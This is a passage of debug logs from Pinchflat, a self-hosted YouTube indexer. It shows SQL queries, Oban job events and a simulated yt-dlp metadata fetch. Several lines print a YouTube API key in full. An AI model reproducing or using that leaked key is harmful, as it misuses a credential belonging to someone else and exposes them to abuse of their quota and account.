"ElM4NXN22Xk", "DEFBn0r53uQ", "3t9aWDVCqVI", "4anuB72EMWY", "rDFuee41ptI", "0CPHgR8vK0w", "wBC_bug5DIQ", "TDnzDnKOrLo", "thoukYxcB_M", "WG8idKaX9KI", "evcXDcrjAvA", "hIxEkAZe6N0", "SPQrycmrGD8", "Mijk1_861qk", "WH-C47pZM9s", "jucDFrO89Ko", "XusyNT_k-1c", "l_1PLNAvmlM", "cQ3UWS1HekM", "srj2kfeuToE", "8CkgCYPe68Q", "XIj4PlAuLXQ", "lkOd_XPoz9M", "5_HY3RAIJys", "HCXBKttIXzc", "ueYYN--wEAI", "L6_Op38XjFo", "LDYL8zIgtZM", "K2oL4SFwkkw", ...] 16:36:34.820 [debug] QUERY OK source="media_items" db=0.4ms idle=140.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [28] 16:36:34.820 [debug] QUERY OK source="tasks" db=0.1ms idle=135.0ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800005, 28, ~U[2026-02-10 22:36:34Z], ~U[2026-02-10 22:36:34Z]] 16:36:34.821 [info] {"args":{"id":28},"id":3799966,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":237030,"event":"job:stop","queue_time":404510,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:36:36.585 [info] {"args":{"id":16},"id":3799967,"meta":{},"system_time":1770762996585873317,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:36:36.586 [debug] QUERY OK source="sources" db=0.1ms idle=707.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [16] 16:36:36.586 [debug] QUERY OK source="settings" db=0.0ms idle=707.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:36:36.586 [debug] QUERY OK source="media_profiles" db=0.0ms idle=708.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:36:36.586 [debug] QUERY OK source="settings" db=0.0ms idle=6.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:36:36.586 [debug] Fetching recent media IDs from YouTube API for playlist: UUBa659QWEk1AI4Tg--mrJ2A 16:36:36.586 [debug] QUERY OK source="settings" db=0.0ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:36:36.586 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:36:36.693 [debug] QUERY OK source="media_items" db=0.5ms idle=106.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [16, "7DKv5H5Frt0", "F0JDK_71yDg", "Zl_5LT2fzak", "hNZy603as5w", "pU9sHwNKc2c", "LDiXNsWQzD0", "jplrbxI5GN8", "lIbfMjZ0ME4", "CmZdGo6b5yA", "j3OqAN4ISOw", "XQIu5tZ0vbQ", "CkZyZFa5qO0", "ZgDBIzClmPg", "QqRREz0iBes", "3kwDVw0u4Kw", "TFpzps-DCb0", "ZNVuIU6UUiM", "Is_wu0VRIqQ", "1yfX84RMQ3M", "_G2Q1qsoGEU", "nbafT2w0cCQ", "R2oD1ZHNMFE", "85BykUan6pw", "xq4ZkfojSis", "Oarf76MCrss", "Xn_O2li_jpk", "gisdyTBMNyQ", "EN9JzxzDXU0", "rn_8GXNN7_Q", "72RxerDwzEo", "tMlHDnbEIDA", "ar0klhiJfDI", "xWL40q3DMoQ", "Sj3iI9jZCX8", "1v8u3ua6BPk", "b5Oy29TEVOE", "evV05QeSjAw", "lPaQInkWV7g", "KRIBVykhpC4", "bPTSSHRnnWw", "4ZX9T0kWb4Y", "voYdl7IFZsM", "Kn56bMZ9OE8", "_8W2LIfl5RE", "cUkoqppoFr8", "wcp1BfPUeOc", "YTHZLKFblKo", "jPhJbKBuNnA", "7qNOtgrIjO4", ...] 16:36:36.694 [debug] QUERY OK source="media_items" db=0.8ms idle=107.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [16] 16:36:36.695 [debug] QUERY OK source="tasks" db=0.1ms idle=108.4ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800006, 16, ~U[2026-02-10 22:36:36Z], ~U[2026-02-10 22:36:36Z]] 16:36:36.695 [info] {"args":{"id":16},"id":3799967,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":109659,"event":"job:stop","queue_time":542171,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:36:37.588 [info] {"args":{"id":43},"id":3799968,"meta":{},"system_time":1770762997588718287,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:36:37.589 [debug] QUERY OK source="sources" db=0.1ms idle=893.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [43] 16:36:37.589 [debug] QUERY OK source="settings" db=0.0ms idle=893.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:36:37.589 [debug] QUERY OK source="media_profiles" db=0.1ms idle=887.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:36:37.589 [debug] QUERY OK source="settings" db=0.0ms idle=7.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:36:37.589 [debug] Fetching recent media IDs from YouTube API for playlist: UUxkM67T_Iele-mRVUiBkRqg 16:36:37.589 [debug] QUERY OK source="settings" db=0.0ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:36:37.589 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:36:37.754 [debug] QUERY OK source="media_items" db=0.6ms idle=164.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [43, "i2ZTeoIKaw0", "BoFkqiBBWz8", "-uQ5c-gl89A", "AujUIY2N0Kw", "Ts6SW099X08", "yiNoK1oj4SI", "giE5-sKMa4Q", "K3D6FMrT7Lk", "AHRE7etgEEs", "orKC0kNQjzQ", "mXCNpEOyHSk", "wQQ9FOdzWGE", "80nShpfG3a4", "QbXzfSn-jP4", "L0TcqR55ihA", "GcGTofZU2i4", "C4w4jl4ODAk", "2AriH2BNp4E", "3frxUw8OrG0", "KdKZA74hhJg", "eZVun8Iwq4U", "YKNWFGYQrrk", "NyTKzFzm7AE", "Zftv6Kh2zi4", "gHz9q2oiL1Y", "F5ShDcJl4qQ", "0zTOd9trqEo", "dsDy5VAw-xo", "lSwkoIQLFLo", "EJFAw1VRcsA", "3Qyaocw0u3o", "5UAM-ZKBcZs", "uGI0tkmyogU", "16AbSxpRFJo", "TUkra-5kybs", "8Xdl5psYVgQ", "eRWobpethq4", "PHjkSKQSzv4", "DJuloZc4QJw", "CpIHZSRBrgA", "Fd-SP-yoDbU", "VsuuYPwgbg0", "GYVUFfQ3OTk", "QcQqT4yMvro", "hsoiHKaqG2s", "BulZkf97cEQ", "Lf62N-s42_o", "v4KHDMvFQgg", "BPOglXCH0F8", ...] 16:36:37.755 [debug] QUERY OK source="media_items" db=0.4ms idle=165.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [43] 16:36:37.756 [debug] QUERY OK source="tasks" db=0.1ms idle=166.5ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800007, 43, ~U[2026-02-10 22:36:37Z], ~U[2026-02-10 22:36:37Z]] 16:36:37.756 [info] {"args":{"id":43},"id":3799968,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":167631,"event":"job:stop","queue_time":519561,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:36:38.589 [info] {"args":{"id":6},"id":3799969,"meta":{},"system_time":1770762998589794826,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:36:38.590 [debug] QUERY OK source="sources" db=0.1ms idle=833.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 16:36:38.590 [debug] QUERY OK source="settings" db=0.1ms idle=833.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:36:38.590 [debug] QUERY OK source="media_profiles" db=0.1ms idle=827.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:36:38.590 [debug] QUERY OK source="settings" db=0.0ms idle=6.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:36:38.590 [debug] Fetching recent media IDs from YouTube API for playlist: UU3XTzVzaHQEd30rQbuvCtTQ 16:36:38.590 [debug] QUERY OK source="settings" db=0.0ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:36:38.590 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:36:38.667 [debug] QUERY OK source="media_items" db=0.7ms idle=76.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [6, "PawUmci7JuU", "8xRgXlUF4vM", "dm5IwjiGT80", "2fH8RYbqSj8", "5T2clCWmo24", "JduzROpaMlw", "7hkuCkya9IQ", "EJHHiu9fB9A", "yknMJOgy2pA", "-iRUq-Dy7QE", "Dhe1E2vzziA", "SLVL_wg3Hz0", "gi4swT8LK1U", "l4-_ZmwoZbg", "Y93ljB7sfco", "LmmeWg_DHdc", "SUogDr7iOF4", "_94sC2k37vo", "zk_P1rSKR4g", "e_Sv2Jva5D0", "wVFXUkFx5Y8", "0qmNAOCgbgY", "vO4XdC2aOrU", "KcYKVB-0Vqw", "hNlJdQwvr3o", "-7ExqSFtKEM", "sl9IRn33Fig", "Mwc21oNdnaA", "Ejoi9yfLVCc", "73iQpsIE0i8", "m9ExweRMFAA", "s9FsxWK0f1A", "-xIQxzlXN-0", "cicEeYtFd1M", "a277Pg23Dao", "-6r-lAxhtv4", "bl6Ww92bb0o", "gieTx_P6INQ", "9iZK_DurYOo", "xQwGv4UYvbk", "88YixeXbRMo", "eHJwoYjTyyE", "SCv0hlq5iQY", "JOoHELC8w8M", "dB1-lg-xZWc", "NtHZ7IR88dg", "S9EVYaSa1Ws", "Wg8OcJopuBE", "z016SEN7HzE", ...] 16:36:38.668 [debug] QUERY OK source="settings" db=0.0ms idle=78.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:36:38.668 [debug] QUERY OK source="settings" db=0.0ms idle=78.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:36:38.668 [debug] Running yt-dlp command for action: get_media_attributes 16:36:38.700 [debug] QUERY OK source="settings" db=0.0ms idle=109.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:36:38.700 [debug] QUERY OK source="settings" db=0.0ms idle=109.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:36:38.700 [debug] QUERY OK source="settings" db=0.0ms idle=32.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:36:38.700 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=-iRUq-Dy7QE --simulate --skip-download --output /downloads/Last Week Tonight/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/7d/83/7d83fa2724b1a3a5fc295c1ba98e0e3d3fb9cb2e0c5eda9665221987b9c7e395.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 16:36:39.592 [info] {"args":{"id":25},"id":3799970,"meta":{},"system_time":1770762999592633745,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:36:39.592 [debug] QUERY OK source="sources" db=0.1ms idle=892.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [25] 16:36:39.593 [debug] QUERY OK source="settings" db=0.0ms idle=892.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:36:39.593 [debug] QUERY OK source="media_profiles" db=0.1ms idle=892.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:36:39.593 [debug] QUERY OK source="settings" db=0.1ms idle=7.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:36:39.593 [debug] Fetching recent media IDs from YouTube API for playlist: UUnZx--LpG2spgmlxOcC-DRA 16:36:39.593 [debug] QUERY OK source="settings" db=0.0ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:36:39.593 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:36:39.705 [debug] QUERY OK source="media_items" db=0.9ms idle=111.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [25, "Eq5PgdJmdOM", "UqsOOWYeAFc", 